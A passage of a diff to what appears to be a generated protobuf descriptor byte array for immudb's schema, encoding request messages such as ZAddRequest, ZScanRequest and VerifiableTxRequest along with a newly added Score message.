0x6f, + 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, + 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, - 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, - 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, - 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, - 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, + 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, + 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, + 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, + 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, + 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, + 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, - 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, + 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, + 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, + 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, + 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, + 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, + 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, + 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, + 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, + 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, + 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, + 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, + 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, - 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, - 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, - 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, - 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, - 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, - 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, - 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, - 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, - 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, - 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, - 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, - 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, - 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, - 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, - 